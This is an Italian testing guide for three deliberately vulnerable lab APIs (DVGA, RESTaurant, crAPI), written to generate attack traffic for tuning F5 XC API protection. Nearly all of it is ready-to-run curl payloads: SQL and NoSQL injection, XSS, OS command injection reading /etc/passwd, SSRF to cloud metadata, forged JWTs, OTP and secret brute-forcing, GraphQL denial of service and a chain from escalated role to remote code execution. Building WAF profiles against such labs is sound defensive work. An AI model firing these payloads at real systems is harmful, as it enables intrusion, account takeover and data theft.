Salta ai contenuti

Guida ai test API

Questa guida cataloga ogni endpoint API, vulnerabilità intenzionale e payload di attacco nelle tre applicazioni di test per la sicurezza API. Usarla per costruire pattern di generazione di traffico per lo sviluppo di profili di protezione API F5 XC.

ApplicazioneProtocolloPercorsoPortaAutenticazioneVulnerabilità
DVGAGraphQL/dvga/80Nessuna (admin: admin/password)25 scenari
RESTaurantREST (FastAPI)/restaurant/80JWT (form-encoded)7 categorie OWASP API 2023
crAPIREST (microservizi)/8888JWT (Bearer)18+ sfide
Terminal window
ORIGIN="http://<ORIGIN_IP>"
CRAPI="http://<ORIGIN_IP>:8888"

Endpoint GraphQL: POST ${ORIGIN}/dvga/graphql GraphiQL IDE: GET ${ORIGIN}/dvga/ Credenziali amministratore: admin / password

Tutte le interazioni con DVGA utilizzano un unico endpoint (/dvga/graphql) con richieste POST contenenti payload JSON {"query":"..."}.

Query: pastes, paste, me, systemHealth, systemUpdate, systemDiagnostics
Mutation: createPaste, importPaste, uploadPaste
Tipi: PasteObject (id, title, content, public, owner, ipAddr, userAgent)
OwnerObject (id, username, pastes) ← riferimento circolare
OperazioneTipoAutenticazioneScopo
pastes(public, filter, limit)QueryNoElenca paste (SQL injection via filter)
paste(id)QueryNoOttieni una singola paste
me(token)QueryNoOttieni utente tramite JWT (vulnerabile alla contraffazione)
systemHealthQueryNoControllo dello stato
systemUpdateQueryNoQuery lenta (~82s, vettore DoS)
systemDiagnostics(cmd)Queryadmin/passwordEsegui comandi OS nella whitelist
createPaste(title, content, public)MutationNoCrea paste (XSS via content)
importPaste(host, port, path, scheme)MutationNoImporta paste remota (SSRF, command injection)
uploadPaste(filename, content)MutationNoCarica paste (path traversal)

Attacco Batch Query:

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '[{"query":"{systemUpdate}"},{"query":"{systemUpdate}"},{"query":"{systemUpdate}"}]'

Ricorsione profonda (riferimenti circolari Owner/Paste):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{pastes{owner{pastes{owner{pastes{owner{pastes{owner{pastes{title}}}}}}}}}}"}'

Query ad alto consumo di risorse (~82 secondi di risposta):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{systemUpdate}"}'

Duplicazione di campo (ripetere il campo 500+ volte):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{pastes{title title title title title title title title title title title title title title title title title title title title}}"}'

Attacco basato su alias (1000 operazioni con alias):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{q0:systemUpdate q1:systemUpdate q2:systemUpdate q3:systemUpdate q4:systemUpdate q5:systemUpdate q6:systemUpdate q7:systemUpdate q8:systemUpdate q9:systemUpdate}"}'

Introspezione (enumerazione completa dello schema):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{__schema{types{name fields{name args{name type{name}}}}}}"}'

Suggerimenti di campo (un errore di battitura rivela campi validi):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{pastes{titl}}"}'

SSRF via importPaste (sondaggio di servizi interni):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"mutation{importPaste(host:\"localhost\",port:57575,path:\"/\",scheme:\"http\"){result}}"}'

SQL Injection tramite parametro filter:

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{pastes(filter:\"aaa\\u0027 OR 1=1--\"){id title content public}}"}'

XSS persistente via createPaste:

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"mutation{createPaste(title:\"<img src=x onerror=alert(1)>\",content:\"xss\",public:true){paste{id title}}}"}'

Log Injection (spoofing del nome dell’operazione):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"mutation getPaste{createPaste(title:\"injected\",content:\"hidden mutation\",public:true){paste{id}}}"}'

OS Command Injection via importPaste:

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"mutation{importPaste(host:\"localhost\",port:80,path:\"/ ; uname -a\",scheme:\"http\"){result}}"}'

Comando OS via systemDiagnostics (richiede autenticazione admin):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{systemDiagnostics(cmd:\"id\")}"}'

Contraffazione token JWT (accetta token non firmati):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{me(token:\"eyJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIn0.\"){username}}"}'

Scrittura arbitraria di file via uploadPaste (path traversal):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"mutation{uploadPaste(filename:\"../../../tmp/test.txt\",content:\"path traversal test\"){result}}"}'

Swagger UI: ${ORIGIN}/restaurant/docs Specifiche OpenAPI: ${ORIGIN}/restaurant/openapi.json Autenticazione: JWT tramite POST form-encoded a /restaurant/token Ruoli: Customer (predefinito), Employee, Chef (admin)

Terminal window
# Registra un utente di test
curl -X POST ${ORIGIN}/restaurant/register \
-H "Content-Type: application/json" \
-d '{"username":"attacker","password":"Attack123","first_name":"Test","last_name":"User","phone_number":"5551234567"}'
# Ottieni il token JWT (NOTA: form-encoded, non JSON)
TOKEN=$(curl -sf -X POST ${ORIGIN}/restaurant/token \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=attacker&password=Attack123" | python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")
echo "Bearer token: ${TOKEN}"
EndpointMetodoAutenticazioneRuoloVulnerabilità
/restaurant/registerPOSTNoCreazione utente
/restaurant/tokenPOSTNoJWT con secret debole (97952)
/restaurant/healthcheckGETNoControllo dello stato
/restaurant/profileGETQualsiasiProfilo utente
/restaurant/profilePUTQualsiasiBOLA (modifica altri utenti)
/restaurant/profilePATCHQualsiasiBOPLA (mass assign del ruolo)
/restaurant/users/update_rolePUTQualsiasiBFLA (escalation del ruolo)
/restaurant/menuGETQualsiasiElenca le voci del menu
/restaurant/menuPUTEmployee+Crea voce del menu (SSRF via immagine)
/restaurant/menu/{item_id}PUTEmployee+Aggiorna voce del menu (SSRF via immagine)
/restaurant/menu/{item_id}DELETEQualsiasiBFLA (qualsiasi utente può eliminare)
/restaurant/ordersGETQualsiasiBOLA (visualizza tutti gli ordini)
/restaurant/ordersPOSTQualsiasiCrea ordine
/restaurant/orders/{order_id}GETQualsiasiBOLA (accesso ad altri ordini)
/restaurant/orders/status/{order_id}GETQualsiasiStato dell’ordine
/restaurant/admin/stats/diskGETChefCommand injection
/restaurant/reset-passwordPOSTNoRichiesta di reset della password
/restaurant/reset-password/new-passwordPOSTNoImposta nuova password
/restaurant/referral-codeGETQualsiasiOttieni codice referral
/restaurant/apply-referralPOSTQualsiasiApplica referral
/restaurant/discount-couponsGETQualsiasiElenca coupon

API1:2023 — Broken Object Level Authorization (BOLA)

Sezione intitolata “API1:2023 — Broken Object Level Authorization (BOLA)”

Modifica il profilo di un altro utente:

Terminal window
curl -X PUT ${ORIGIN}/restaurant/profile \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"username":"chef","phone_number":"hacked","first_name":"Pwned","last_name":"User"}'

Accesso agli ordini di altri utenti (enumera l’offset):

Terminal window
for i in 1 2 3 4 5; do
curl -sf ${ORIGIN}/restaurant/orders/${i} \
-H "Authorization: Bearer ${TOKEN}" 2>&1
echo ""
done

Brute-force del secret JWT debole (il secret è a 6 cifre: 97952):

Terminal window
# Decodifica e forgia token su jwt.io
# Secret: 97952 (attaccabile con hashcat -a 3 -m 16500 token '?d?d?d?d?d?d')
# Forgia un token Chef:
# Header: {"alg":"HS256","typ":"JWT"}
# Payload: {"sub":"chef","exp":9999999999}
# Firma con secret: 97952

API3:2023 — Broken Object Property Level Authorization (BOPLA)

Sezione intitolata “API3:2023 — Broken Object Property Level Authorization (BOPLA)”

Mass-assign del ruolo da Customer a Chef:

Terminal window
curl -X PATCH ${ORIGIN}/restaurant/profile \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"role":"Chef"}'

Percorso di escalation: Customer → Employee → Chef:

Terminal window
# Passaggio 1: Escalation a Employee
curl -X PATCH ${ORIGIN}/restaurant/profile \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"role":"Employee"}'
# Passaggio 2: Escalation a Chef
curl -X PATCH ${ORIGIN}/restaurant/profile \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"role":"Chef"}'

API5:2023 — Broken Function Level Authorization (BFLA)

Sezione intitolata “API5:2023 — Broken Function Level Authorization (BFLA)”

Elimina voce del menu come Customer (dovrebbe richiedere Employee+):

Terminal window
curl -X DELETE ${ORIGIN}/restaurant/menu/1 \
-H "Authorization: Bearer ${TOKEN}"

Modifica il ruolo di un altro utente:

Terminal window
curl -X PUT ${ORIGIN}/restaurant/users/update_role \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"username":"chef","role":"Customer"}'

Sondaggio degli endpoint interni tramite image_url del menu (richiede ruolo Employee):

Terminal window
# Prima eseguire l'escalation a Employee tramite BOPLA, poi:
curl -X PUT ${ORIGIN}/restaurant/menu \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"name":"SSRF Test","price":1.00,"category":"Test","image_url":"http://127.0.0.1:8091/admin/reset-chef-password"}'

OS Command Injection via statistiche disco (richiede ruolo Chef):

Terminal window
# Dopo l'escalation a Chef:
curl -sf "${ORIGIN}/restaurant/admin/stats/disk?parameters=;whoami" \
-H "Authorization: Bearer ${TOKEN}"
curl -sf "${ORIGIN}/restaurant/admin/stats/disk?parameters=;cat%20/etc/passwd" \
-H "Authorization: Bearer ${TOKEN}"
Terminal window
# 1. Registrazione
curl -X POST ${ORIGIN}/restaurant/register \
-H "Content-Type: application/json" \
-d '{"username":"hacker","password":"Hack123","first_name":"H","last_name":"X","phone_number":"0"}'
# 2. Ottieni token
TOKEN=$(curl -sf -X POST ${ORIGIN}/restaurant/token \
-d "username=hacker&password=Hack123" | python3 -c "import sys,json;print(json.load(sys.stdin)['access_token'])")
# 3. Escalation a Chef (BOPLA)
curl -X PATCH ${ORIGIN}/restaurant/profile \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"role":"Chef"}'
# 4. Riautenticazione per ottenere il token a livello Chef
TOKEN=$(curl -sf -X POST ${ORIGIN}/restaurant/token \
-d "username=hacker&password=Hack123" | python3 -c "import sys,json;print(json.load(sys.stdin)['access_token'])")
# 5. Command injection (RCE)
curl -sf "${ORIGIN}/restaurant/admin/stats/disk?parameters=;id" \
-H "Authorization: Bearer ${TOKEN}"

Web UI: ${CRAPI}/ MailHog: ${CRAPI}/mailhog/ (acquisizione email per la verifica) Autenticazione: JWT Bearer token (RS256, vulnerabile alla confusion degli algoritmi) Architettura: 7 microservizi (identity, community, workshop, postgres, mongo, mailhog, web)

Configurazione: Registrazione, verifica email, accesso

Sezione intitolata “Configurazione: Registrazione, verifica email, accesso”
Terminal window
# 1. Registrazione
curl -X POST ${CRAPI}/identity/api/auth/signup \
-H "Content-Type: application/json" \
-d '{"name":"Test User","email":"tester@example.com","number":"5551234567","password":"TestPass123"}'
# 2. Controlla MailHog per l'email di verifica
# Naviga su ${CRAPI}/mailhog/ oppure usa l'API MailHog:
curl -sf ${CRAPI}/mailhog/api/v2/messages | python3 -c "
import sys,json
msgs = json.load(sys.stdin)['items']
for m in msgs:
print(f\"To: {m['Raw']['To'][0]}, Subject: {m['Content']['Headers']['Subject'][0]}\")
"
# 3. Accesso e ottenimento del token JWT
TOKEN=$(curl -sf -X POST ${CRAPI}/identity/api/auth/login \
-H "Content-Type: application/json" \
-d '{"email":"tester@example.com","password":"TestPass123"}' | python3 -c "import sys,json;print(json.load(sys.stdin)['token'])")
echo "Bearer token: ${TOKEN}"
EndpointMetodoAutenticazioneVulnerabilità
/identity/api/auth/signupPOSTNoRegistrazione
/identity/api/auth/loginPOSTNoToken JWT (algorithm confusion)
/identity/api/auth/forget-passwordPOSTNoRichiesta OTP
/identity/api/auth/v2/check-otpPOSTNoNessun rate limit (brute-force OTP a 4 cifre)
/identity/api/auth/v3/check-otpPOSTNoVersione con rate limit
/identity/api/v2/user/dashboardGETProfilo utente
/identity/api/v2/user/change-emailPUTModifica email
/identity/api/v2/vehicle/vehiclesGETElenca veicoli (espone UUID)
/identity/api/v2/vehicle/{uuid}/locationGETBOLA (veicolo di qualsiasi utente)
/identity/api/v2/user/videosPOSTCaricamento video
/identity/api/v2/user/videos/{id}GETEsposizione di dati (conversion_params)
/identity/api/v2/user/videos/{id}PUTMass assignment (command injection)
/identity/api/v2/admin/videos/{id}DELETEBFLA (nessun controllo admin)
EndpointMetodoAutenticazioneVulnerabilità
/community/api/v2/community/postsGETEsposizione di dati (espone vehicle_id, email)
/community/api/v2/community/postsPOSTCrea post nel blog
/community/api/v2/community/posts/{id}/commentsPOSTAggiungi commento
/community/api/v2/coupon/validate-couponPOSTNoSQL injection
EndpointMetodoAutenticazioneVulnerabilità
/workshop/api/mechanicGETEsposizione di dati (email dei meccanici)
/workshop/api/mechanic/mechanic_reportGETNoBOLA (nessuna autenticazione, ID sequenziali)
/workshop/api/merchant/contact_mechanicPOSTSSRF + DoS
/workshop/api/shop/productsGETCatalogo prodotti
/workshop/api/shop/orders/POSTCrea ordine
/workshop/api/shop/orders/allGETElenca ordini
/workshop/api/shop/orders/{id}GETNoBOLA (nessuna autenticazione richiesta)
/workshop/api/shop/orders/{id}PUTMass assignment (status, quantity)
/workshop/api/shop/apply_couponPOSTSQL injection

Sfida 1 — BOLA: Accesso alla posizione del veicolo di un altro utente

Sezione intitolata “Sfida 1 — BOLA: Accesso alla posizione del veicolo di un altro utente”
Terminal window
# Ottieni prima il proprio UUID del veicolo
curl -sf ${CRAPI}/identity/api/v2/vehicle/vehicles \
-H "Authorization: Bearer ${TOKEN}"
# Accedi al veicolo di un altro utente (sostituisci UUID)
curl -sf ${CRAPI}/identity/api/v2/vehicle/VICTIM-UUID-HERE/location \
-H "Authorization: Bearer ${TOKEN}"

Sfida 2 — BOLA: Accesso ai rapporti dei meccanici (senza autenticazione)

Sezione intitolata “Sfida 2 — BOLA: Accesso ai rapporti dei meccanici (senza autenticazione)”
Terminal window
# Enumerazione di ID sequenziali — nessun token necessario
for i in 1 2 3 4 5; do
echo "Rapporto $i:"
curl -sf "${CRAPI}/workshop/api/mechanic/mechanic_report?report_id=${i}"
echo ""
done

Sfida 3 — Broken Auth: Brute-force dell’OTP per il reset della password

Sezione intitolata “Sfida 3 — Broken Auth: Brute-force dell’OTP per il reset della password”
Terminal window
# Richiedi OTP per la vittima
curl -X POST ${CRAPI}/identity/api/auth/forget-password \
-H "Content-Type: application/json" \
-d '{"email":"victim@example.com"}'
# Brute-force dell'OTP a 4 cifre (v2 NON ha rate limiting)
for otp in $(seq -w 0000 9999); do
RESULT=$(curl -sf -X POST ${CRAPI}/identity/api/auth/v2/check-otp \
-H "Content-Type: application/json" \
-d "{\"email\":\"victim@example.com\",\"otp\":\"${otp}\"}" 2>&1)
echo "$otp: $RESULT" | grep -v "Invalid OTP" && break
done

Sfida 4 — Esposizione di dati: Perdita delle email dei meccanici

Sezione intitolata “Sfida 4 — Esposizione di dati: Perdita delle email dei meccanici”
Terminal window
curl -sf ${CRAPI}/workshop/api/mechanic \
-H "Authorization: Bearer ${TOKEN}" | python3 -m json.tool

Sfida 5 — Esposizione di dati: Parametri interni di conversione video

Sezione intitolata “Sfida 5 — Esposizione di dati: Parametri interni di conversione video”
Terminal window
# Carica un video, poi esamina la risposta
curl -sf ${CRAPI}/identity/api/v2/user/videos \
-H "Authorization: Bearer ${TOKEN}" | python3 -m json.tool
# Cerca il campo conversion_params nella risposta
Terminal window
curl -X POST ${CRAPI}/workshop/api/merchant/contact_mechanic \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{
"mechanic_code":"MECH001",
"problem_details":"Engine issue",
"vin":"VEHICLE_VIN",
"mechanic_api":"http://localhost:8080/api",
"repeat_request_if_failed":true,
"number_of_repeats":100
}'

Sfida 7 — BFLA: Eliminazione video tramite endpoint admin

Sezione intitolata “Sfida 7 — BFLA: Eliminazione video tramite endpoint admin”
Terminal window
# Un utente normale può accedere all'endpoint admin
curl -X DELETE ${CRAPI}/identity/api/v2/admin/videos/VIDEO_ID_HERE \
-H "Authorization: Bearer ${TOKEN}"

Sfide 8 e 9 — Mass Assignment: Articoli gratuiti tramite manipolazione degli ordini

Sezione intitolata “Sfide 8 e 9 — Mass Assignment: Articoli gratuiti tramite manipolazione degli ordini”
Terminal window
# Cambia GET in PUT, modifica status e quantity
curl -X PUT ${CRAPI}/workshop/api/shop/orders/1 \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"status":"returned","quantity":100}'

Sfida 10 — Command Injection tramite parametri di conversione video

Sezione intitolata “Sfida 10 — Command Injection tramite parametri di conversione video”
Terminal window
curl -X PUT ${CRAPI}/identity/api/v2/user/videos/VIDEO_ID \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"conversion_params":"-v codec h264; cat /etc/passwd"}'
Terminal window
curl -X POST ${CRAPI}/workshop/api/merchant/contact_mechanic \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{
"mechanic_code":"MECH001",
"problem_details":"test",
"vin":"VIN123",
"mechanic_api":"http://169.254.169.254/latest/meta-data/",
"repeat_request_if_failed":false,
"number_of_repeats":0
}'

Sfida 12 — NoSQL Injection: Estrazione dei codici coupon

Sezione intitolata “Sfida 12 — NoSQL Injection: Estrazione dei codici coupon”
Terminal window
curl -X POST ${CRAPI}/community/api/v2/coupon/validate-coupon \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"coupon_code":{"$ne":1}}'

Sfida 13 — SQL Injection: Riscatto multiplo dei coupon

Sezione intitolata “Sfida 13 — SQL Injection: Riscatto multiplo dei coupon”
Terminal window
curl -X POST ${CRAPI}/workshop/api/shop/apply_coupon \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d "{\"coupon_code\":\"TRAC075' OR '1'='1\"}"

Sfida 14 — Accesso agli ordini senza autenticazione

Sezione intitolata “Sfida 14 — Accesso agli ordini senza autenticazione”
Terminal window
# Nessun header Authorization — restituisce comunque dati
for i in 1 2 3 4 5; do
curl -sf ${CRAPI}/workshop/api/shop/orders/${i}
echo ""
done
Terminal window
# Forgia un JWT con algoritmo "none" (nessuna verifica della firma):
# 1. Imposta l'header: {"alg":"none","typ":"JWT"} e codificalo in base64url
# 2. Imposta il payload: {"email":"admin@example.com","role":"admin"} e codificalo in base64url
# 3. Unisci con punti, lascia la firma vuota: <header>.<payload>.
HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 -w0 | tr '+/' '-_' | tr -d '=')
PAYLOAD=$(echo -n '{"email":"admin@example.com","role":"admin"}' | base64 -w0 | tr '+/' '-_' | tr -d '=')
FORGED="${HEADER}.${PAYLOAD}."
curl -sf ${CRAPI}/identity/api/v2/user/dashboard \
-H "Authorization: Bearer ${FORGED}"

Categoria OWASPDVGARESTaurantcrAPI
API1: BOLAPUT /profile, GET /orders/{id}Posizione veicolo, rapporti meccanici, ordini
API2: Broken AuthContraffazione JWT (query me)JWT con secret debole (97952)Brute-force OTP (v2), JWT algorithm confusion
API3: BOPLAPATCH /profile (escalation del ruolo)Video conversion_params, esposizione email meccanici
API4: Resource ConsumptionBatch, ricorsione, alias, DoS per duplicazione di campiEnumerazione utenti tramite lunghezza della rispostaDoS contact_mechanic con repeat_request
API5: BFLADELETE /menu, PUT /users/update_roleDELETE /admin/videos come utente normale
API6: Mass AssignmentPUT /orders (status, quantity)Stato/quantità degli ordini, video conversion_params
API7: SSRFMutation importPastePUT /menu image_urlcontact_mechanic mechanic_api URL
API8: InjectionSQL (filter), XSS (content), OS cmd (importPaste, systemDiagnostics)OS cmd (/admin/stats/disk?parameters=)NoSQL (validate-coupon), SQL (apply_coupon)
API9: Improper AssetsEndpoint deprecato /auth/v2/check-otp (nessun rate limit)
API10: Unsafe Consumption(indiretto via SSRF)
GraphQL-specificIntrospezione, batching, ricorsione, alias, duplicazione di campi, frammenti circolari

Genera traffico legittimo per stabilire il comportamento normale delle API prima di testare i pattern di attacco.

Baseline DVGA:

Terminal window
# Query normali
curl -X POST ${ORIGIN}/dvga/graphql -H "Content-Type: application/json" -d '{"query":"{pastes{id title}}"}'
curl -X POST ${ORIGIN}/dvga/graphql -H "Content-Type: application/json" -d '{"query":"mutation{createPaste(title:\"note\",content:\"hello\",public:true){paste{id}}}"}'

Baseline RESTaurant:

Terminal window
curl -sf ${ORIGIN}/restaurant/menu -H "Authorization: Bearer ${TOKEN}"
curl -sf ${ORIGIN}/restaurant/profile -H "Authorization: Bearer ${TOKEN}"
curl -X POST ${ORIGIN}/restaurant/orders -H "Authorization: Bearer ${TOKEN}" -H "Content-Type: application/json" -d '{"menu_item_id":1,"quantity":1}'

Baseline crAPI:

Terminal window
curl -sf ${CRAPI}/identity/api/v2/user/dashboard -H "Authorization: Bearer ${TOKEN}"
curl -sf ${CRAPI}/workshop/api/shop/products -H "Authorization: Bearer ${TOKEN}"
curl -sf ${CRAPI}/community/api/v2/community/posts -H "Authorization: Bearer ${TOKEN}"

Test BOLA: Enumera ID sequenziali, sostituisci gli identificatori utente nelle richieste, accedi a risorse senza possesso.

Test Injection: Payload SQL nei parametri filter/coupon, injection nelle query GraphQL, OS command injection tramite campi parametro.

Test di bypass dell’autenticazione: Forgia token JWT, brute-force degli OTP, usa versioni API deprecate, algorithm confusion.

Test SSRF: URL interni in importPaste, image_url e parametri mechanic_api.

Test DoS: Attacchi GraphQL batch/recursion/alias, repeat_request_if_failed con conteggi elevati.

Alcuni attacchi richiedono sequenze in più passaggi con stato:

  1. Catena di escalation RESTaurant: Registrazione → Token → PATCH ruolo a Chef → Riautenticazione → Command injection
  2. Flusso completo crAPI: Registrazione → Verifica email (MailHog) → Accesso → Aggiunta veicolo → Contatto meccanico (SSRF) → Manipolazione degli ordini
  3. Da ricognizione a exploit DVGA: Introspezione → Scoperta di systemDiagnostics → Brute-force credenziali admin → Esecuzione di comandi OS
PatternRichieste/secDurataNote
Baseline (per applicazione)10-505 minStabilisci l’impronta del traffico normale
Enumerazione BOLA100-5002 minScansione di ID sequenziali
Brute-force OTP1000+Fino al ritrovamentoMassimo 10.000 tentativi (4 cifre)
DoS GraphQL10-5030 secOgni richiesta è costosa lato server
Fuzzing Injection50-2005 minVaria i payload per ogni richiesta
Sondaggio SSRF5-202 minLento; ogni richiesta innesca una richiesta HTTP lato server